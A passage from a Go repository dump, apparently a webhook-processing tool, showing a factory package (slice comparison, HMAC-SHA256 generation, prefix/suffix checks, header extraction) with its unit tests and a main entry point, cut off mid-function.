(suite *TestSuiteValuable) TestValuableContains() { 139 | assert := assert.New(suite.T()) 140 | 141 | tests := []struct { 142 | name string 143 | input []string 144 | testString string 145 | output bool 146 | }{ 147 | {"with nil list", nil, suite.testValue, false}, 148 | {"with nil value", nil, suite.testValue, false}, 149 | {"with empty list", []string{}, suite.testValue, false}, 150 | {"with not included value", []string{"invalid"}, suite.testValue, false}, 151 | {"with included value", []string{suite.testValue}, suite.testValue, true}, 152 | } 153 | 154 | for _, test := range tests { 155 | v := Valuable{Values: test.input} 156 | assert.Equal(test.output, v.Contains(test.testString), test.name) 157 | } 158 | } 159 | 160 | func (suite *TestSuiteValuable) TestValuablecontains() { 161 | assert := assert.New(suite.T()) 162 | 163 | tests := []struct { 164 | name string 165 | input []string 166 | testString string 167 | output bool 168 | }{ 169 | {"with nil list", nil, suite.testValue, false}, 170 | {"with nil value", nil, suite.testValue, false}, 171 | {"with empty list", []string{}, suite.testValue, false}, 172 | {"with not included value", []string{"invalid"}, suite.testValue, false}, 173 | {"with included value", []string{suite.testValue}, suite.testValue, true}, 174 | } 175 | 176 | for _, test := range tests { 177 | v := Valuable{Values: test.input} 178 | assert.Equal(test.output, contains(v.Get(), test.testString), test.name) 179 | } 180 | } 181 | 182 | func (suite *TestSuiteValuable) TestValuablecommaListIfAbsent() { 183 | assert := assert.New(suite.T()) 184 | 185 | tests := []struct { 186 | name string 187 | input string 188 | output []string 189 | }{ 190 | {"with uniq list", "foo,bar", []string{"foo", "bar"}}, 191 | {"with no uniq list", "foo,foo,bar", []string{"foo", "bar"}}, 192 | } 193 | 194 | for _, test := range tests { 195 | assert.Equal(test.output, appendCommaListIfAbsent([]string{}, test.input), test.name) 196 | } 197 | } 198 | 199 | func TestRunValuableSuite(t *testing.T) { 200 | suite.Run(t, new(TestSuiteValuable)) 201 | } 202 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2022 42Stellar 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package main 23 | 24 | import ( 25 | "os" 26 | 27 | "github.com/rs/zerolog" 28 | "github.com/rs/zerolog/log" 29 | 30 | "atomys.codes/webhooked/cmd" 31 | ) 32 | 33 | func init() { 34 | log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr}) 35 | zerolog.TimeFieldFormat = zerolog.TimeFormatUnix 36 | if os.Getenv("WH_DEBUG") == "true" { 37 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 38 | } else { 39 | zerolog.SetGlobalLevel(zerolog.InfoLevel) 40 | } 41 | } 42 | 43 | func main() { 44 | cmd.Execute() 45 | } 46 | -------------------------------------------------------------------------------- /pkg/factory/f_compare.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | 7 | "github.com/rs/zerolog/log" 8 | ) 9 | 10 | type compareFactory struct{ Factory } 11 | 12 | func (*compareFactory) Name() string { 13 | return "compare" 14 | } 15 | 16 | func (*compareFactory) DefinedInpus() []*Var { 17 | return []*Var{ 18 | {false, reflect.TypeOf(&InputConfig{}), "first", &InputConfig{}}, 19 | {false, reflect.TypeOf(&InputConfig{}), "second", &InputConfig{}}, 20 | } 21 | } 22 | 23 | func (*compareFactory) DefinedOutputs() []*Var { 24 | return []*Var{ 25 | {false, reflect.TypeOf(false), "result", false}, 26 | } 27 | } 28 | 29 | func (c *compareFactory) Func() RunFunc { 30 | return func(factory *Factory, configRaw map[string]interface{}) error { 31 | firstVar, ok := factory.Input("first") 32 | if !ok { 33 | return fmt.Errorf("missing input first") 34 | } 35 | 36 | secondVar, ok := factory.Input("second") 37 | if !ok { 38 | return fmt.Errorf("missing input second") 39 | } 40 | 41 | result := c.sliceMatches( 42 | firstVar.Value.(*InputConfig).Get(), 43 | secondVar.Value.(*InputConfig).Get(), 44 | ) 45 | 46 | inverse, _ := configRaw["inverse"].(bool) 47 | if inverse { 48 | result = !result 49 | } 50 | 51 | log.Debug().Bool("inversed", inverse).Msgf("factory compared slice %+v and %+v = %+v", 52 | firstVar.Value.(*InputConfig).Get(), 53 | secondVar.Value.(*InputConfig).Get(), 54 | result, 55 | ) 56 | factory.Output("result", result) 57 | return nil 58 | } 59 | } 60 | 61 | // sliceMatches returns true if one element match in all slices 62 | func (*Factory) sliceMatches(slice1, slice2 []string) bool { 63 | // Loop two times, first to find slice1 strings not in slice2, 64 | // second loop to find slice2 strings not in slice1 65 | for i := 0; i < 2; i++ { 66 | for _, s1 := range slice1 { 67 | for _, s2 := range slice2 { 68 | if s1 == s2 { 69 | return true 70 | } 71 | } 72 | } 73 | // Swap the slices, only if it was the first loop 74 | if i == 0 { 75 | slice1, slice2 = slice2, slice1 76 | } 77 | } 78 | return false 79 | } 80 | -------------------------------------------------------------------------------- /pkg/factory/f_compare_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | 8 | "atomys.codes/webhooked/internal/valuable" 9 | ) 10 | 11 | type testSuiteFactoryCompare struct { 12 | suite.Suite 13 | iFactory *compareFactory 14 | inputHelper func(name, data string) *InputConfig 15 | } 16 | 17 | func (suite *testSuiteFactoryCompare) BeforeTest(suiteName, testName string) { 18 | suite.inputHelper = func(name, data string) *InputConfig { 19 | return &InputConfig{ 20 | Name: name, 21 | Valuable: valuable.Valuable{Value: &data}, 22 | } 23 | } 24 | suite.iFactory = &compareFactory{} 25 | } 26 | 27 | func TestFactoryCompare(t *testing.T) { 28 | suite.Run(t, new(testSuiteFactoryCompare)) 29 | } 30 | 31 | func (suite *testSuiteFactoryCompare) TestRunFactoryWithoutInputs() { 32 | var factory = newFactory(&compareFactory{}) 33 | factory.Inputs = make([]*Var, 0) 34 | suite.Errorf(factory.Run(), "missing input first") 35 | 36 | factory.Inputs = suite.iFactory.DefinedInpus()[:1] 37 | suite.Errorf(factory.Run(), "missing input second") 38 | } 39 | 40 | func (suite *testSuiteFactoryCompare) TestRunFactory() { 41 | factory := newFactory(&compareFactory{}) 42 | 43 | factory.WithInput("first", suite.inputHelper("first", "test")).WithInput("second", suite.inputHelper("second", "test")) 44 | suite.NoError(factory.Run()) 45 | suite.Equal(true, factory.Outputs[0].Value) 46 | 47 | factory.WithInput("first", suite.inputHelper("first", "yes")).WithInput("second", suite.inputHelper("second", "no")) 48 | suite.NoError(factory.Run()) 49 | suite.Equal(false, factory.Outputs[0].Value) 50 | 51 | factory. 52 | WithInput("first", suite.inputHelper("first", "yes")). 53 | WithInput("second", suite.inputHelper("second", "no")). 54 | WithConfig(map[string]interface{}{"inverse": true}) 55 | suite.NoError(factory.Run()) 56 | suite.Equal(true, factory.Outputs[0].Value) 57 | 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/f_debug.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | 7 | "github.com/rs/zerolog/log" 8 | ) 9 | 10 | type debugFactory struct{ Factory } 11 | 12 | func (*debugFactory) Name() string { 13 | return "debug" 14 | } 15 | 16 | func (*debugFactory) DefinedInpus() []*Var { 17 | return []*Var{ 18 | {false, reflect.TypeOf(&InputConfig{}), "", &InputConfig{}}, 19 | } 20 | } 21 | 22 | func (*debugFactory) DefinedOutputs() []*Var { 23 | return []*Var{} 24 | } 25 | 26 | func (c *debugFactory) Func() RunFunc { 27 | return func(factory *Factory, configRaw map[string]interface{}) error { 28 | debugValue, ok := factory.Input("") 29 | if !ok { 30 | return fmt.Errorf("missing input") 31 | } 32 | 33 | log.Debug().Msgf("debug value: %+v", debugValue.Value) 34 | return nil 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /pkg/factory/f_debug_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | 8 | "atomys.codes/webhooked/internal/valuable" 9 | ) 10 | 11 | type testSuiteFactoryDebug struct { 12 | suite.Suite 13 | iFactory *debugFactory 14 | inputHelper func(name, data string) *InputConfig 15 | } 16 | 17 | func (suite *testSuiteFactoryDebug) BeforeTest(suiteName, testName string) { 18 | suite.inputHelper = func(name, data string) *InputConfig { 19 | return &InputConfig{ 20 | Name: name, 21 | Valuable: valuable.Valuable{Value: &data}, 22 | } 23 | } 24 | suite.iFactory = &debugFactory{} 25 | } 26 | 27 | func TestFactoryDebug(t *testing.T) { 28 | suite.Run(t, new(testSuiteFactoryDebug)) 29 | } 30 | 31 | func (suite *testSuiteFactoryDebug) TestRunFactoryWithoutInputs() { 32 | var factory = newFactory(&debugFactory{}) 33 | factory.Inputs = make([]*Var, 0) 34 | suite.Errorf(factory.Run(), "missing input first") 35 | } 36 | 37 | func (suite *testSuiteFactoryDebug) TestRunFactory() { 38 | factory := newFactory(&debugFactory{}) 39 | 40 | factory.WithInput("", suite.inputHelper("first", "yes")) 41 | suite.NoError(factory.Run()) 42 | 43 | } 44 | -------------------------------------------------------------------------------- /pkg/factory/f_generate_hmac_256.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "crypto/hmac" 5 | "crypto/sha256" 6 | "encoding/hex" 7 | "fmt" 8 | "reflect" 9 | ) 10 | 11 | type generateHMAC256Factory struct{ Factory } 12 | 13 | func (*generateHMAC256Factory) Name() string { 14 | return "generate_hmac_256" 15 | } 16 | 17 | func (*generateHMAC256Factory) DefinedInpus() []*Var { 18 | return []*Var{ 19 | {false, reflect.TypeOf(&InputConfig{}), "secret", &InputConfig{}}, 20 | {false, reflect.TypeOf(&InputConfig{}), "payload", &InputConfig{}}, 21 | } 22 | } 23 | 24 | func (*generateHMAC256Factory) DefinedOutputs() []*Var { 25 | return []*Var{ 26 | {false, reflect.TypeOf(""), "value", ""}, 27 | } 28 | } 29 | 30 | func (c *generateHMAC256Factory) Func() RunFunc { 31 | return func(factory *Factory, configRaw map[string]interface{}) error { 32 | payloadVar, ok := factory.Input("payload") 33 | if !ok { 34 | return fmt.Errorf("missing input payload") 35 | } 36 | 37 | secretVar, ok := factory.Input("secret") 38 | if !ok { 39 | return fmt.Errorf("missing input secret") 40 | } 41 | 42 | // Create a new HMAC by defining the hash type and the key (as byte array) 43 | h := hmac.New(sha256.New, []byte(secretVar.Value.(*InputConfig).First())) 44 | 45 | // Write Data to it 46 | h.Write([]byte(payloadVar.Value.(*InputConfig).First())) 47 | 48 | // Get result and encode as hexadecimal string 49 | sha := hex.EncodeToString(h.Sum(nil)) 50 | factory.Output("value", sha) 51 | return nil 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /pkg/factory/f_generate_hmac_256_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | 8 | "atomys.codes/webhooked/internal/valuable" 9 | ) 10 | 11 | type testSuiteFactoryGenerateHMAC256 struct { 12 | suite.Suite 13 | iFactory *generateHMAC256Factory 14 | inputHelper func(name, data string) *InputConfig 15 | } 16 | 17 | func (suite *testSuiteFactoryGenerateHMAC256) BeforeTest(suiteName, testName string) { 18 | suite.inputHelper = func(name, data string) *InputConfig { 19 | return &InputConfig{ 20 | Name: name, 21 | Valuable: valuable.Valuable{Value: &data}, 22 | } 23 | } 24 | suite.iFactory = &generateHMAC256Factory{} 25 | } 26 | 27 | func TestFactoryGenerateHMAC256(t *testing.T) { 28 | suite.Run(t, new(testSuiteFactoryGenerateHMAC256)) 29 | } 30 | 31 | func (suite *testSuiteFactoryGenerateHMAC256) TestRunFactoryWithoutInputs() { 32 | var factory = newFactory(&generateHMAC256Factory{}) 33 | factory.Inputs = make([]*Var, 0) 34 | suite.Errorf(factory.Run(), "missing input secret") 35 | 36 | factory.Inputs = suite.iFactory.DefinedInpus()[:1] 37 | suite.Errorf(factory.Run(), "missing input payload") 38 | } 39 | 40 | func (suite *testSuiteFactoryGenerateHMAC256) TestRunFactory() { 41 | factory := newFactory(&generateHMAC256Factory{}) 42 | 43 | factory.WithInput("payload", suite.inputHelper("payload", "test")).WithInput("secret", suite.inputHelper("secret", "test")) 44 | suite.NoError(factory.Run()) 45 | suite.Equal("88cd2108b5347d973cf39cdf9053d7dd42704876d8c9a9bd8e2d168259d3ddf7", factory.Outputs[0].Value) 46 | } 47 | -------------------------------------------------------------------------------- /pkg/factory/f_has_prefix.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | "strings" 7 | ) 8 | 9 | type hasPrefixFactory struct{ Factory } 10 | 11 | func (*hasPrefixFactory) Name() string { 12 | return "hasPrefix" 13 | } 14 | 15 | func (*hasPrefixFactory) DefinedInpus() []*Var { 16 | return []*Var{ 17 | {false, reflect.TypeOf(&InputConfig{}), "text", &InputConfig{}}, 18 | {false, reflect.TypeOf(&InputConfig{}), "prefix", &InputConfig{}}, 19 | } 20 | } 21 | 22 | func (*hasPrefixFactory) DefinedOutputs() []*Var { 23 | return []*Var{ 24 | {false, reflect.TypeOf(false), "result", false}, 25 | } 26 | } 27 | 28 | func (c *hasPrefixFactory) Func() RunFunc { 29 | return func(factory *Factory, configRaw map[string]interface{}) error { 30 | textVar, ok := factory.Input("text") 31 | if !ok { 32 | return fmt.Errorf("missing input text") 33 | } 34 | 35 | prefixVar, ok := factory.Input("prefix") 36 | if !ok { 37 | return fmt.Errorf("missing input prefix") 38 | } 39 | 40 | var result bool 41 | for _, text := range textVar.Value.(*InputConfig).Get() { 42 | for _, prefix := range prefixVar.Value.(*InputConfig).Get() { 43 | if strings.HasPrefix(text, prefix) { 44 | result = true 45 | break 46 | } 47 | } 48 | } 49 | 50 | inverse, _ := configRaw["inverse"].(bool) 51 | if inverse { 52 | result = !result 53 | } 54 | 55 | factory.Output("result", result) 56 | return nil 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/f_has_prefix_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | 8 | "atomys.codes/webhooked/internal/valuable" 9 | ) 10 | 11 | type testSuiteFactoryHasPrefix struct { 12 | suite.Suite 13 | iFactory *hasPrefixFactory 14 | inputHelper func(name, data string) *InputConfig 15 | } 16 | 17 | func (suite *testSuiteFactoryHasPrefix) BeforeTest(suiteName, testName string) { 18 | suite.inputHelper = func(name, data string) *InputConfig { 19 | return &InputConfig{ 20 | Name: name, 21 | Valuable: valuable.Valuable{Value: &data}, 22 | } 23 | } 24 | suite.iFactory = &hasPrefixFactory{} 25 | } 26 | 27 | func TestFactoryHasPrefix(t *testing.T) { 28 | suite.Run(t, new(testSuiteFactoryHasPrefix)) 29 | } 30 | 31 | func (suite *testSuiteFactoryHasPrefix) TestRunFactoryWithoutInputs() { 32 | var factory = newFactory(&hasPrefixFactory{}) 33 | factory.Inputs = make([]*Var, 0) 34 | suite.Errorf(factory.Run(), "missing input text") 35 | 36 | factory.Inputs = suite.iFactory.DefinedInpus()[:1] 37 | suite.Errorf(factory.Run(), "missing input prefix") 38 | } 39 | 40 | func (suite *testSuiteFactoryHasPrefix) TestRunFactory() { 41 | factory := newFactory(&hasPrefixFactory{}) 42 | 43 | factory.WithInput("text", suite.inputHelper("text", "yes")).WithInput("prefix", suite.inputHelper("prefix", "y")) 44 | suite.NoError(factory.Run()) 45 | suite.Equal(true, factory.Outputs[0].Value) 46 | 47 | factory.WithInput("text", suite.inputHelper("text", "yes")).WithInput("prefix", suite.inputHelper("prefix", "no")) 48 | suite.NoError(factory.Run()) 49 | suite.Equal(false, factory.Outputs[0].Value) 50 | 51 | factory. 52 | WithInput("text", suite.inputHelper("text", "yes")). 53 | WithInput("prefix", suite.inputHelper("prefix", "no")). 54 | WithConfig(map[string]interface{}{"inverse": true}) 55 | suite.NoError(factory.Run()) 56 | suite.Equal(true, factory.Outputs[0].Value) 57 | 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/f_has_suffix.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | "strings" 7 | ) 8 | 9 | type hasSuffixFactory struct{ Factory } 10 | 11 | func (*hasSuffixFactory) Name() string { 12 | return "hasSuffix" 13 | } 14 | 15 | func (*hasSuffixFactory) DefinedInpus() []*Var { 16 | return []*Var{ 17 | {false, reflect.TypeOf(&InputConfig{}), "text", &InputConfig{}}, 18 | {false, reflect.TypeOf(&InputConfig{}), "suffix", &InputConfig{}}, 19 | } 20 | } 21 | 22 | func (*hasSuffixFactory) DefinedOutputs() []*Var { 23 | return []*Var{ 24 | {false, reflect.TypeOf(false), "result", false}, 25 | } 26 | } 27 | 28 | func (c *hasSuffixFactory) Func() RunFunc { 29 | return func(factory *Factory, configRaw map[string]interface{}) error { 30 | textVar, ok := factory.Input("text") 31 | if !ok { 32 | return fmt.Errorf("missing input text") 33 | } 34 | 35 | suffixVar, ok := factory.Input("suffix") 36 | if !ok { 37 | return fmt.Errorf("missing input suffix") 38 | } 39 | 40 | var result bool 41 | for _, text := range textVar.Value.(*InputConfig).Get() { 42 | for _, suffix := range suffixVar.Value.(*InputConfig).Get() { 43 | if strings.HasSuffix(text, suffix) { 44 | result = true 45 | break 46 | } 47 | } 48 | } 49 | 50 | inverse, _ := configRaw["inverse"].(bool) 51 | if inverse { 52 | result = !result 53 | } 54 | 55 | factory.Output("result", result) 56 | return nil 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/f_has_suffix_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | 8 | "atomys.codes/webhooked/internal/valuable" 9 | ) 10 | 11 | type testSuiteFactoryHasSuffix struct { 12 | suite.Suite 13 | iFactory *hasSuffixFactory 14 | inputHelper func(name, data string) *InputConfig 15 | } 16 | 17 | func (suite *testSuiteFactoryHasSuffix) BeforeTest(suiteName, testName string) { 18 | suite.inputHelper = func(name, data string) *InputConfig { 19 | return &InputConfig{ 20 | Name: name, 21 | Valuable: valuable.Valuable{Value: &data}, 22 | } 23 | } 24 | suite.iFactory = &hasSuffixFactory{} 25 | } 26 | 27 | func TestFactoryHasSuffix(t *testing.T) { 28 | suite.Run(t, new(testSuiteFactoryHasSuffix)) 29 | } 30 | 31 | func (suite *testSuiteFactoryHasSuffix) TestRunFactoryWithoutInputs() { 32 | var factory = newFactory(&hasSuffixFactory{}) 33 | factory.Inputs = make([]*Var, 0) 34 | suite.Errorf(factory.Run(), "missing input text") 35 | 36 | factory.Inputs = suite.iFactory.DefinedInpus()[:1] 37 | suite.Errorf(factory.Run(), "missing input suffix") 38 | } 39 | 40 | func (suite *testSuiteFactoryHasSuffix) TestRunFactory() { 41 | factory := newFactory(&hasSuffixFactory{}) 42 | 43 | factory.WithInput("text", suite.inputHelper("text", "yes")).WithInput("suffix", suite.inputHelper("suffix", "s")) 44 | suite.NoError(factory.Run()) 45 | suite.Equal(true, factory.Outputs[0].Value) 46 | 47 | factory.WithInput("text", suite.inputHelper("text", "yes")).WithInput("suffix", suite.inputHelper("suffix", "no")) 48 | suite.NoError(factory.Run()) 49 | suite.Equal(false, factory.Outputs[0].Value) 50 | 51 | factory. 52 | WithInput("text", suite.inputHelper("text", "yes")). 53 | WithInput("suffix", suite.inputHelper("suffix", "no")). 54 | WithConfig(map[string]interface{}{"inverse": true}) 55 | suite.NoError(factory.Run()) 56 | suite.Equal(true, factory.Outputs[0].Value) 57 | 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/f_header.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "reflect" 7 | 8 | "github.com/rs/zerolog/log" 9 | ) 10 | 11 | type headerFactory struct{ Factory } 12 | 13 | func (*headerFactory) Name() string { 14 | return "header" 15 | } 16 | 17 | func (*headerFactory) DefinedInpus() []*Var { 18 | return []*Var{ 19 | {true, reflect.TypeOf(&http.Request{}), "request", nil}, 20 | {false, reflect.TypeOf(&InputConfig{}), "headerName", &InputConfig{}}, 21 | } 22 | } 23 | 24 | func (*headerFactory) DefinedOutputs() []*Var { 25 | return []*Var{ 26 | {false, reflect.TypeOf(""), "value", ""}, 27 | } 28 | } 29 | 30 | func (*headerFactory) Func() RunFunc { 31 | return func(factory *Factory, configRaw map[string]interface{}) error { 32 | nameVar, ok := factory.Input("headerName") 33 | if !ok { 34 | return fmt.Errorf("missing input headerName") 35 | } 36 | 37 | requestVar, ok := factory.Input("request") 38 | if !ok || requestVar.Value == nil { 39 | return fmt.Errorf("missing input request") 40 | } 41 | 42 | headerValue := requestVar.Value.(*http.Request).Header.Get( 43 | nameVar.Value.(*InputConfig).First(), 44 | ) 45 | 46 | log.Debug().Msgf("factory header resolve %s to %s", 47 | nameVar.Value.(*InputConfig).First(), 48 | headerValue, 49 | ) 50 | factory.Output("value", headerValue) 51 | 52 | return nil 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /pkg/factory/f_header_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "net/http" 5 | "net/http/httptest" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/suite" 9 | 10 | "atomys.codes/webhooked/internal/valuable" 11 | ) 12 | 13 | type testSuiteFactoryHeader struct { 14 | suite.Suite 15 | request *http.Request 16 | iFactory *headerFactory 17 | } 18 | 19 | func (suite *testSuiteFactoryHeader) BeforeTest(suiteName, testName string) { 20 | headerName := "X-Token" 21 | header := make(http.Header) 22 | header.Add(headerName, "test") 23 | 24 | suite.request = httptest.NewRequest("POST", "/", nil) 25 | suite.request.Header = header 26 | 27 | suite.iFactory = &headerFactory{} 28 | } 29 | 30 | func TestFactoryHeader(t *testing.T) { 31 | suite.Run(t, new(testSuiteFactoryHeader)) 32 | } 33 | 34 | func (suite *testSuiteFactoryHeader) TestRunFactoryWithoutInputs() { 35 | var factory = newFactory(&headerFactory{}) 36 | factory.Inputs = make([]*Var, 0) 37 | suite.Errorf(factory.Run(), "missing input headerName") 38 | 39 | factory.Inputs = suite.iFactory.DefinedInpus()[1:] 40 | suite.Errorf(factory.Run(), "missing input request") 41 | 42 | factory.Inputs = suite.iFactory.DefinedInpus() 43 | suite.Errorf(factory.Run(), "missing input request") 44 | suite.Equal("", factory.Outputs[0].Value) 45 | } 46 | 47 | func (suite *testSuiteFactoryHeader) TestRunFactory() { 48 | headerName := "X-Token" 49 | header := make(http.Header) 50 | header.Add(headerName, "test") 51 | factory := newFactory(&headerFactory{}) 52 | 53 | factory.WithInput("request", suite.request) 54 | factory.WithInput("headerName", &InputConfig{Valuable: valuable.Valuable{Value: &headerName}}) 55 | 56 | suite.NoError(factory.Run()) 57 | suite.Equal("test", factory.Outputs[0].Value) 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/factory.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "fmt" 7 | "reflect" 8 | "strings" 9 | "sync" 10 | "text/template" 11 | 12 | "github.com/rs/zerolog/log" 13 | 14 | "atomys.codes/webhooked/internal/valuable" 15 | ) 16 | 17 | const ctxPipeline contextKey = "pipeline" 18 | 19 | // newFactory creates a new factory with the given IFactory implementation. 20 | // and initialize it. 21 | func newFactory(f IFactory) *Factory { 22 | return &Factory{ 23 | ctx: context.Background(), 24 | mu: sync.RWMutex{}, 25 | Name: f.Name(), 26 | Fn: f.Func(), 27 | Config: make(map[string]interface{}), 28 | Inputs: f.DefinedInpus(), 29 | Outputs: f.DefinedOutputs(), 30 | } 31 | } 32 | 33 | // DeepCopy creates a deep copy of the pipeline. 34 | func (f *Factory) DeepCopy() *Factory { 35 | deepCopy := &Factory{ 36 | ctx: f.ctx, 37 | mu: sync.RWMutex{}, 38 | Name: f.Name, 39 | Fn: f.Fn, 40 | Config: make(map[string]interface{}), 41 | Inputs: make([]*Var, len(f.Inputs)), 42 | Outputs: make([]*Var, len(f.Outputs)), 43 | } 44 | 45 | copy(deepCopy.Inputs, f.Inputs) 46 | copy(deepCopy.Outputs, f.Outputs) 47 | 48 | for k, v := range f.Config { 49 | deepCopy.Config[k] = v 50 | } 51 | 52 | return deepCopy 53 | } 54 | 55 | // GetVar returns the variable with the given name from the given slice. 56 | // @param list the Var slice to search in 57 | // @param name the name of the variable to search for 58 | // @return the variable with the given name from the given slice 59 | // @return true if the variable was found 60 | func GetVar(list []*Var, name string) (*Var, bool) { 61 | for _, v := range list { 62 | if v.Name == name { 63 | return v, true 64 | } 65 | } 66 | return nil, false 67 | } 68 | 69 | // with adds a new variable to the given slice. 70 | // @param slice the slice to add the variable to 71 | // @param name the name of the variable 72 | // @param value the value of the variable 73 | // @return the new slice with the added variable 74 | func (f *Factory) with(slice []*Var, name string, value interface{}) ([]*Var, error) { 75 | v, ok := GetVar(slice, name) 76 | if !ok { 77 | log.Error().Msgf("variable %s is not registered for %s", name, f.Name) 78 | return slice, fmt.Errorf("variable %s is not registered for %s", name, f.Name) 79 | } 80 | 81 | if reflect.TypeOf(value) != v.Type { 82 | log.Error().Msgf("invalid type for %s expected %s, got %s", name, v.Type.String(), reflect.TypeOf(value).String()) 83 | return slice, fmt.Errorf("invalid type for %s expected %s, got %s", name, v.Type.String(), reflect.TypeOf(value).String()) 84 | } 85 | 86 | v.Value = value 87 | return slice, nil 88 | } 89 | 90 | // WithPipelineInput adds the given pipeline input to the factory. 91 | // only if the pipeline input is matching the factory desired input. 92 | // Dont thow an error if the pipeline input is not matching the factory input 93 | // 94 | // @param name the name of the input variable 95 | // @param value the value of the input variable 96 | func (f *Factory) withPipelineInput(name string, value interface{}) { 97 | v, ok := GetVar(f.Inputs, name) 98 | if !ok { 99 | return 100 | } 101 | if reflect.TypeOf(value) != v.Type { 102 | return 103 | } 104 | v.Value = value 105 | } 106 | 107 | // WithInput adds the given input to the factory. 108 | // @param name the name of the input variable 109 | // @param value the value of the input variable 110 | // @return the factory 111 | func (f *Factory) WithInput(name string, value interface{}) *Factory { 112 | f.mu.Lock() 113 | defer f.mu.Unlock() 114 | 115 | f.Inputs, _ = f.with(f.Inputs, name, value) 116 | return f 117 | } 118 | 119 | // WithID sets the id of the factory. 120 | // @param id the id of the factory 121 | // @return the factory 122 | func (f *Factory) WithID(id string) *Factory { 123 | f.ID = id 124 | return f 125 | } 126 | 127 | // WithConfig sets the config of the factory. 128 | // @param config the config of the factory 129 | // @return the factory 130 | func (f *Factory) WithConfig(config map[string]interface{}) *Factory { 131 | f.mu.Lock() 132 | defer f.mu.Unlock() 133 | 134 | if id, ok := config["id"]; ok { 135 | f.WithID(id.(string)) 136 | delete(config, "id") 137 | } 138 | 139 | for k, v := range config { 140 | f.Config[k] = v 141 | } 142 | return f 143 | } 144 | 145 | // Input retrieve the input variable of the given name. 146 | // @param name the name of the input variable 147 | // @return the input variable of the given name 148 | // @return true if the input variable was found 149 | func (f *Factory) Input(name string) (v *Var, ok bool) { 150 | v, ok = GetVar(f.Inputs, name) 151 | if !ok { 152 | return nil, false 153 | } 154 | 155 | if (reflect.TypeOf(v.Value) == reflect.TypeOf(&InputConfig{})) { 156 | return f.processInputConfig(v) 157 | } 158 | 159 | return v, ok 160 | } 161 | 162 | // Output store the output variable of the given name. 163 | // @param name the name of the output variable 164 | // @param value the value of the output variable 165 | // @return the factory 166 | func (f *Factory) Output(name string, value interface{}) *Factory { 167 | f.Outputs, _ = f.with(f.Outputs, name, value) 168 | return f 169 | } 170 | 171 | // Identifier will return the id of the factory or the name of the factory if 172 | // the id is not set. 173 | func (f *Factory) Identifier() string { 174 | if f.ID != "" { 175 | return f.ID 176 | } 177 | return f.Name 178 | } 179 | 180 | // Run executes the factory function 181 | func (f *Factory) Run() error { 182 | if err := f.Fn(f, f.Config); err != nil { 183 | log.Error().Err(err).Msgf("error during factory %s run", f.Name) 184 | return err 185 | } 186 | return nil 187 | } 188 | 189 | // processInputConfig process all input config struct to apply custom 190 | // processing on the value. This is used to process the input config 191 | // with a go template value. Example to retrieve an output of previous 192 | // factory with `{{ .Outputs.ID.value }}`. The template is executed 193 | // with the pipeline object as data. 194 | // 195 | // @param v the input config variable 196 | // @return the processed input config variable 197 | func (f *Factory) processInputConfig(v *Var) (*Var, bool) { 198 | v2 := &Var{true, reflect.TypeOf(v.Value), v.Name, &InputConfig{}} 199 | input := v2.Value.(*InputConfig) 200 | 201 | var vub = &valuable.Valuable{} 202 | for _, value := range v.Value.(*InputConfig).Get() { 203 | if strings.Contains(value, "{{") && strings.Contains(value, "}}") { 204 | vub.Values = append(input.Values, goTemplateValue(value, f.ctx.Value(ctxPipeline))) 205 | } else { 206 | vub.Values = append(vub.Values, value) 